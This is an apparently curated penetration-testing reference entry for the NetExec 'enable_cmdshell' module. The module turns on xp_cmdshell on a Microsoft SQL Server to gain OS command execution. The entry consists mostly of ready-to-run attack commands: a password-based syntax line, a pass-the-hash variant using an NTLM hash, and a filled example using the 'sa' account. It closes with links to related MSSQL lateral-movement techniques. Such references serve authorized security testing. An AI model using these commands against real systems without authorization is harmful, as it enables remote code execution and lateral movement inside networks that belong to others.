NetExec MSSQL Enable CmdShell

Enable xp_cmdshell on a MSSQL server for OS command execution

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Lateral Movement / MSSQL
Platform: linux
Requires: password
Protocols: MSSQL

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc mssql '<ip>' -u '<user>' -p '<password>' -M enable_cmdshell

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc mssql '<ip>' -u '<user>' -H '<hash>' -M enable_cmdshell

Examples

nxc mssql '192.168.1.100' -u 'sa' -p 'password' -M enable_cmdshell

Tags

nxc mssql cmdshell xp-cmdshell rce lateral-movement

Impacket MSSQLClient Interactive MSSQL shell for command execution and database access
MSSQLPwner Linked Server Abuse Enumerate and abuse MSSQL linked servers for lateral movement
NetExec MSSQL Command Exec Execute OS commands through MSSQL — auto-enables xp_cmdshell if disabled and the account…
NetExec MSSQL Linked Servers Enumerate MSSQL linked servers for lateral movement opportunities
NetExec MSSQL Privilege Check Enumerate and escalate MSSQL server privileges (sysadmin, impersonation, linked servers)
NetExec MSSQL xp_cmdshell Execute OS commands via MSSQL xp_cmdshell using NetExec